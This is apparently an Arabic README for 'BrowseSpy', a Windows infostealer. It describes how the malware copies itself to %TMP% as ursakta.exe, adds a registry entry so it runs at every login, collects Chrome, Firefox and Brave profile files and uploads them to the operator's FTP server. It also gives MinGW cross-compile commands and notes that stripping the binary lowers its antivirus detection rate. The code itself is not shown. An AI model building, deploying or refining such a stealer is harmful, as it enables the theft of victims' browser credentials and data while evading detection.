BrowseSpy

تأكد من تغيير متغيرات ftp في جميع أنحاء الكود، تحتوي هذه المتغيرات على اسم المستخدم وكلمة المرور وعنوان IP لخادم FTP الذي يستقبل الملفات.

سيقوم هذا الكود بما يلي:

1. نسخ نفسه إلى دليل %TMP% وتسمية نفسه ursakta.exe
2. إضافة إدخال تسجيل (Registry entry) لتنفيذ نفسه في كل مرة يقوم فيها المستخدم بتسجيل الدخول
3. التحقق من المتصفح الذي يستخدمه المستخدم (Chrome, Firefox أو Brave)
4. البحث عن ملفات داخل أدلة المتصفحات Chrome, Firefox أو Brave
5. إنشاء دليل على خادم FTP الخاص بنا ثم إرسال الملفات الموجودة في دليل المتصفح إلى خادم FTP

التجميع المتقاطع باستخدام MingW على Linux

أمر التثبيت باستخدام Apt:

• sudo apt-get install mingw-w64

64 بت:

• x86_64-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

32 بت:

• i686-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

من منظور الضحية:

إدخال التسجيل (Registry entry):

نشاط الملفات:

اتصال FTP:

معدل الكشف:

معدل الكشف هذا بعد تجريد الملف التنفيذي باستخدام strip --strip-all *filename.c*